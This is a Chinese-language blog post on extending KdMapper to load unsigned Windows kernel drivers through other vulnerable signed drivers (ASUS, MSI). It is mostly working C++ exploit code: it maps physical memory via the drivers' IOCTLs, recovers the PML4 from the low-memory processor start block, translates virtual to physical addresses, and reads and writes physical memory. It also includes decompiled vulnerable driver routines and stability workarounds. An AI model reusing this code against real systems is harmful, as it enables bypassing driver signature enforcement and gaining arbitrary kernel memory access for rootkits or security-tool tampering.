KdMapper扩展实现之虚拟地址转物理地址

发布时间 2023-09-04 10:51:42作者: 禁锢在时空之中的灵魂

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能时遇到的问题,需要大家对KdMapper的代码有一定了解。

  在《【转载】利用签名驱动漏洞加载未签名驱动》中有很多利用MmMapIoSpace和ZwMapViewOfSection将物理内存映射后进行内存数据读写的情况,一般情况下需要先将虚拟地址转换为物理地址,内核中使用MmGetPhysicalAddress即可。但有发现大多数的漏洞驱动并没有MmGetPhysicalAddress的利用。这样以来就需要使用其它办法从虚拟地址转换为物理地址。

  本文采用的方法取自另一款内核映射器开源项目 KDU,项目地址https://github.com/hfiref0x/KDU

 

2.关键代码

  从虚拟地址转换为物理地址,直接上关键代码:

  结构定义:

#pragma pack(push,2)

typedef struct _FAR_JMP_16 {
        UCHAR  OpCode;  // = 0xe9
        USHORT Offset;
} FAR_JMP_16;

typedef struct _FAR_TARGET_32 {
        ULONG Offset;
        USHORT Selector;
} FAR_TARGET_32;

typedef struct _PSEUDO_DESCRIPTOR_32 {
        USHORT Limit;
        ULONG Base;
} PSEUDO_DESCRIPTOR_32;

#pragma pack(pop)

typedef union _KGDTENTRY64 {
        struct {
                USHORT  LimitLow;
                USHORT  BaseLow;
                union {
                        struct {
                                UCHAR   BaseMiddle;
                                UCHAR   Flags1;
                                UCHAR   Flags2;
                                UCHAR   BaseHigh;
                        } Bytes;

                        struct {
                                ULONG   BaseMiddle : 8;
                                ULONG   Type : 5;
                                ULONG   Dpl : 2;
                                ULONG   Present : 1;
                                ULONG   LimitHigh : 4;
                                ULONG   System : 1;
                                ULONG   LongMode : 1;
                                ULONG   DefaultBig : 1;
                                ULONG   Granularity : 1;
                                ULONG   BaseHigh : 8;
                        } Bits;
                };

                ULONG BaseUpper;
                ULONG MustBeZero;
        };

        ULONG64 Alignment;
} KGDTENTRY64, * PKGDTENTRY64;

typedef union _KIDTENTRY64 {
        struct {
                USHORT OffsetLow;
                USHORT Selector;
                USHORT IstIndex : 3;
                USHORT Reserved0 : 5;
                USHORT Type : 5;
                USHORT Dpl : 2;
                USHORT Present : 1;
                USHORT OffsetMiddle;
                ULONG OffsetHigh;
                ULONG Reserved1;
        };

        ULONG64 Alignment;
} KIDTENTRY64, * PKIDTENTRY64;

typedef union _KGDT_BASE {
        struct {
                USHORT BaseLow;
                UCHAR BaseMiddle;
                UCHAR BaseHigh;
                ULONG BaseUpper;
        };

        ULONG64 Base;
} KGDT_BASE, * PKGDT_BASE;

typedef union _KGDT_LIMIT {
        struct {
                USHORT LimitLow;
                USHORT LimitHigh : 4;
                USHORT MustBeZero : 12;
        };

        ULONG Limit;
} KGDT_LIMIT, * PKGDT_LIMIT;

#define PSB_GDT32_MAX       3

typedef struct _KDESCRIPTOR {
        USHORT Pad[3];
        USHORT Limit;
        PVOID Base;
} KDESCRIPTOR, * PKDESCRIPTOR;

typedef struct _KDESCRIPTOR32 {
        USHORT Pad[3];
        USHORT Limit;
        ULONG Base;
} KDESCRIPTOR32, * PKDESCRIPTOR32;

typedef struct _KSPECIAL_REGISTERS {
        ULONG64 Cr0;
        ULONG64 Cr2;
        ULONG64 Cr3;
        ULONG64 Cr4;
        ULONG64 KernelDr0;
        ULONG64 KernelDr1;
        ULONG64 KernelDr2;
        ULONG64 KernelDr3;
        ULONG64 KernelDr6;
        ULONG64 KernelDr7;
        KDESCRIPTOR Gdtr;
        KDESCRIPTOR Idtr;
        USHORT Tr;
        USHORT Ldtr;
        ULONG MxCsr;
        ULONG64 DebugControl;
        ULONG64 LastBranchToRip;
        ULONG64 LastBranchFromRip;
        ULONG64 LastExceptionToRip;
        ULONG64 LastExceptionFromRip;
        ULONG64 Cr8;
        ULONG64 MsrGsBase;
        ULONG64 MsrGsSwap;
        ULONG64 MsrStar;
        ULONG64 MsrLStar;
        ULONG64 MsrCStar;
        ULONG64 MsrSyscallMask;
} KSPECIAL_REGISTERS, * PKSPECIAL_REGISTERS;

typedef struct _KPROCESSOR_STATE {
        KSPECIAL_REGISTERS SpecialRegisters;
        CONTEXT ContextFrame;
} KPROCESSOR_STATE, * PKPROCESSOR_STATE;

typedef struct _PROCESSOR_START_BLOCK* PPROCESSOR_START_BLOCK;

typedef struct _PROCESSOR_START_BLOCK {

        FAR_JMP_16 Jmp;
        ULONG CompletionFlag;
        PSEUDO_DESCRIPTOR_32 Gdt32;
        PSEUDO_DESCRIPTOR_32 Idt32;
        KGDTENTRY64 Gdt[PSB_GDT32_MAX + 1];
        ULONG64 TiledCr3;
        FAR_TARGET_32 PmTarget;
        FAR_TARGET_32 LmIdentityTarget;
        PVOID LmTarget;
        PPROCESSOR_START_BLOCK SelfMap;
        ULONG64 MsrPat;
        ULONG64 MsrEFER;
        KPROCESSOR_STATE ProcessorState;
} PROCESSOR_START_BLOCK;


#ifndef FIELD_OFFSET
#define FIELD_OFFSET(type, field)    ((LONG)(LONG_PTR)&(((type *)0)->field))
#define UFIELD_OFFSET(type, field)    ((ULONG)(LONG_PTR)&(((type *)0)->field))
#endif
int asus_driver::PwEntryToPhyAddr(ULONG_PTR entry, ULONG_PTR* phyaddr)
{
        if (entry & ENTRY_PRESENT_BIT) {
                *phyaddr = entry & PHY_ADDRESS_MASK;
                return 1;
        }

        return 0;
}

ULONG_PTR asus_driver::SuperGetPML4FromLowStub1M(
        _In_ ULONG_PTR pbLowStub1M)
{
        ULONG offset = 0;
        ULONG_PTR PML4 = 0;
        ULONG cr3_offset = FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) +
                FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);

        SetLastError(ERROR_EXCEPTION_IN_SERVICE);

        __try {

                while (offset < 0x100000) {

                        offset += 0x1000;

                        if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
                                continue;

                        if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))
                                continue;

                        if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
                                continue;

                        PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
                        break;
                }

        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                Log(L"[!] Error SuperGetPML4FromLowStub1M Exception!" << std::endl);
                return 0;
        }

        SetLastError(ERROR_SUCCESS);

        return PML4;
}


PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        ASMMAP64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.PhysicalAddress.QuadPart = PhysicalAddress;
        request.MappedLengthOut = mapSize; 
        request.MappedLengthIn = mapSize;
        request.MappedBaseAddress = NULL;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                /*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
                return request.MappedBaseAddress;
        }

        return NULL;
}

VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap
)
{
        ASMMAP64_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        request.MappedBaseAddress = SectionToUnmap;
        SuperCallDriver(DeviceHandle,
                IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

BOOL WINAPI asus_driver::SuperQueryPML4Value(
        _In_ HANDLE DeviceHandle,
        _Out_ ULONG_PTR* Value)
{
        ULONG_PTR pbLowStub1M = 0ULL, PML4 = 0;

        DWORD cbRead = 0x100000;

        *Value = 0;

        SetLastError(ERROR_SUCCESS);

        pbLowStub1M = (ULONG_PTR)SuperMapMemory(DeviceHandle,
                0ULL,
                cbRead);

        if (pbLowStub1M) {

                PML4 = SuperGetPML4FromLowStub1M(pbLowStub1M);
                if (PML4)
                        *Value = PML4;

                SuperUnmapMemory(DeviceHandle,
                        (PVOID)pbLowStub1M);

        }

        return (PML4 != 0);
}

BOOL asus_driver::PwVirtualToPhysical(
        _In_ HANDLE DeviceHandle,
        _In_ ProvQueryPML4 QueryPML4Routine,
        _In_ ProvReadPhysicalMemory ReadPhysicalMemoryRoutine,
        _In_ ULONG_PTR VirtualAddress,
        _Out_ ULONG_PTR* PhysicalAddress)
{
        ULONG_PTR   pml4_cr3, selector, table, entry = 0;
        INT         r, shift;

        *PhysicalAddress = 0;

        if (QueryPML4Routine(DeviceHandle, &pml4_cr3) == 0) {
                SetLastError(ERROR_DEVICE_HARDWARE_ERROR);
                return 0;
        }

        table = pml4_cr3 & PHY_ADDRESS_MASK;

        for (r = 0; r < 4; r++) {

                shift = 39 - (r * 9);
                selector = (VirtualAddress >> shift) & 0x1ff;

                if (ReadPhysicalMemoryRoutine(DeviceHandle,
                        table + selector * 8,
                        &entry,
                        sizeof(ULONG_PTR)) == 0)
                {
                        //
                        // Last error set by called routine.
                        //
                        return 0;
                }

                if (PwEntryToPhyAddr(entry, &table) == 0) {
                        SetLastError(ERROR_INVALID_ADDRESS);
                        return 0;
                }

                if (entry & ENTRY_PAGE_SIZE_BIT)
                {
                        if (r == 1) {
                                table &= PHY_ADDRESS_MASK_1GB_PAGES;
                                table += VirtualAddress & VADDR_ADDRESS_MASK_1GB_PAGES;
                                *PhysicalAddress = table;
                                return 1;
                        }

                        if (r == 2) {
                                table &= PHY_ADDRESS_MASK_2MB_PAGES;
                                table += VirtualAddress & VADDR_ADDRESS_MASK_2MB_PAGES;
                                *PhysicalAddress = table;
                                return 1;
                        }
                }
        }

        table += VirtualAddress & VADDR_ADDRESS_MASK_4KB_PAGES;
        *PhysicalAddress = table;

        return 1;
}


BOOL WINAPI asus_driver::SuperVirtualToPhysical(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR VirtualAddress,
        _Out_ ULONG_PTR* PhysicalAddress)
{
        return PwVirtualToPhysical(DeviceHandle,
                SuperQueryPML4Value,
                SuperReadPhysicalMemory,
                VirtualAddress,
                PhysicalAddress);
}

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;

        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

  其中SuperUnmapMemory和SuperMapMemory即为利用漏洞来读取物理内存的函数,具体不同的漏洞驱动有不同的实现。

  上边的代码中读取物理内存的漏洞实现是驱动利用ZwMapViewOfSection映射\\Device\\PhysicalMemory来实现的,且在驱动里的映射减去了 SectionOffset,漏洞驱动的IDA逆向代码如下:

__int64 __fastcall MapPhysicalMemory(__int64 pDeviceExtension, IRP *pIrp, _IO_STACK_LOCATION *pIosp)
{
    ......
    RtlInitUnicodeString(v23, L"\\Device\\PhysicalMemory");
    ObjectAttributes.ObjectName = v23;
    ObjectAttributes.Length = 48;
    ObjectAttributes.RootDirectory = 0i64;
    ObjectAttributes.Attributes = 64;
    ObjectAttributes.SecurityDescriptor = 0i64;
    ObjectAttributes.SecurityQualityOfService = 0i64;
    ZwOpenSection(&SectionHandle, 0xF001Fu, &ObjectAttributes);
    if ( ObReferenceObjectByHandle(SectionHandle, 0xF001Fu, 0i64, 0, &Object, 0i64) >= 0 )
    {
        ......
          v11 = ZwMapViewOfSection(
                  SectionHandle,
                  (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                  &BaseAddress,
                  0i64,
                  BusAddress.QuadPart,
                  &SectionOffset,
                  (PSIZE_T)&BusAddress.QuadPart,
                  ViewShare,
                  0,
                  0x204u);
        ......
        BaseAddress = (char *)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;  //这里地址减去了SectionOffset
        LODWORD(pPhysicalMomoryInfo->MappedBaseAddress) = (_DWORD)BaseAddress;
        v12 = LODWORD(pPhysicalMomoryInfo->MappedBaseAddress);
        v13 = HIDWORD(BaseAddress);
        HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress) = HIDWORD(BaseAddress);
     }
    ......
}

  在上述代码的27行可以看出地址减去了 SectionOffset。

  还有一种情况是驱动里的映射没有减去 SectionOffset,漏洞驱动的IDA逆向代码如下:

NTSTATUS __fastcall MapPhysicalMemory(union _LARGE_INTEGER Offset, unsigned int nSize, PVOID *pAddressMapped, void **hSection)
{
  ULONG_PTR nSizeMapped; // rbx
  NTSTATUS result; // eax
  SIZE_T v9; // r15
  NTSTATUS ntStatus; // eax
  void *hSectionMapped; // rcx
  NTSTATUS ntStatusReturn; // ebx
  NTSTATUS ntStatusMap; // ebx
  union _LARGE_INTEGER SectionOffset; // [rsp+58h] [rbp-39h] BYREF
  ULONG_PTR ViewSize; // [rsp+60h] [rbp-31h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+68h] [rbp-29h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+98h] [rbp+7h] BYREF
  PVOID Object; // [rsp+A8h] [rbp+17h] BYREF
  PVOID BaseAddress; // [rsp+F8h] [rbp+67h] BYREF

  nSizeMapped = nSize;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
  ObjectAttributes.RootDirectory = 0i64;
  ObjectAttributes.SecurityDescriptor = 0i64;
  ObjectAttributes.SecurityQualityOfService = 0i64;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.Length = 48;
  ObjectAttributes.Attributes = 512;
  result = ZwOpenSection(hSection, 7u, &ObjectAttributes);
  BaseAddress = 0i64;
  v9 = (unsigned int)nSizeMapped;
  ViewSize = nSizeMapped;
  SectionOffset = Offset;
  if ( result >= 0 )
  {
    ntStatus = ObReferenceObjectByHandle(*hSection, 7u, 0i64, 0, &Object, 0i64);
    hSectionMapped = *hSection;
    ntStatusReturn = ntStatus;
    if ( ntStatus >= 0 )
    {
      ntStatusMap = ZwMapViewOfSection(
                      hSectionMapped,
                      (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                      &BaseAddress,
                      0i64,
                      v9,
                      &SectionOffset,
                      &ViewSize,
                      ViewShare,
                      0,
                      4u);
      ZwClose(*hSection);
      result = ntStatusMap;
      *pAddressMapped = BaseAddress;
      return result;
    }
    ZwClose(hSectionMapped);
    result = ntStatusReturn;
  }
  *pAddressMapped = 0i64;
  return result;
}

  可以看到返回的地址直接使用的ZwMapViewOfSection映射返回的地址,这种情况,我们的虚拟地址转物理地址的逻辑就要进行相应的修改。

代码如下

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;
        HANDLE sectionHandle = NULL;

        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes,
                &sectionHandle);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection,
                        sectionHandle);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

 

3.使用MmMapIoSpace读写物理内存

  有的漏洞驱动读写物理内存是用的MmMapIoSpace,则相应的实现逻辑需要变更,代码如下:

BOOL WINAPI microstar_driver::SuperQueryPML4Value(
        _In_ HANDLE DeviceHandle,
        _Out_ ULONG_PTR* Value)
{
        PVOID pbLowStub1M = 0ULL, PML4 = 0;

        DWORD cbRead = 0x100000;
        PHYSICAL_ADDRESS address;
        address.QuadPart = 0;
        *Value = 0;

        //pbLowStub1M = (ULONG_PTR)SuperMapMemory(DeviceHandle,
        //      0ULL,
        //       cbRead);
        //原来是直接映射1M内存,但在Win10以上系统 MmMapIoSpace在读取到PTE地址时就会失败蓝屏,而在Win7上读取0x3000时失败
        // 完整读取1M地址会失败,但不会蓝屏;
        pbLowStub1M = malloc(0x1000);
        do
        {
                RtlZeroMemory(pbLowStub1M, 0x1000);
                if (address.QuadPart == 0x3000)
                {
                        //address.QuadPart += 0x1000;
                }
                if (SuperReadPhysicalMemory(DeviceHandle, address.QuadPart, pbLowStub1M, 0x1000))
                {
                        PML4 = (PVOID)SuperGetPML4FromLowStub1M((ULONG_PTR)pbLowStub1M);
                        if (PML4)
                        {
                                *Value = (ULONG_PTR)PML4;
                                //Log(L"[!] PML4 Value is 0x" << std::setbase(16) << PML4 << std::endl);
                                break;
                        }
                }
                else
                {
                        Log(L"[!] Error SuperReadPhysicalMemory Exception!" << std::endl);
                }
                address.QuadPart += 0x1000;
        } while (address.QuadPart < cbRead);


        SetLastError(ERROR_SUCCESS);

        return (PML4 != 0);
}

ULONG_PTR microstar_driver::SuperGetPML4FromLowStub1M(
        _In_ ULONG_PTR pbLowStub1M)
{
        ULONG offset = 0;
        ULONG_PTR PML4 = 0;
        ULONG cr3_offset = FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) +
                FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);

        SetLastError(ERROR_EXCEPTION_IN_SERVICE);

        __try {

                /*while (offset < 0x100000) {

                        offset += 0x1000;*/

                if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
                        return NULL;

                if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget))))
                        return NULL;

                if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
                        return NULL;

                PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);

                /* }*/

        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                Log(L"[!] Error SuperGetPML4FromLowStub1M Exception!" << std::endl);
                return 0;
        }

        SetLastError(ERROR_SUCCESS);

        return PML4;
}

  在漏洞利用驱动使用MmMapIoSapce时,由于虚拟地址转物理地址的逻辑实现,要遍历从0到0x100000的物理地址空间来进行虚拟地址的转换,在Win10以上的环境下,在这个过程中会读取到PTE地址所在的物理内存,从而引发BSOD,而在Win7上不引发BSOD,但经过测试,在读取0x3000的时候会失败。

  所以在使用 MmMapIoSpace 的漏洞驱动时,只能在Win7环境下使用,且每次读取一个页面,即0x1000大小,同时跳过0x3000的地址。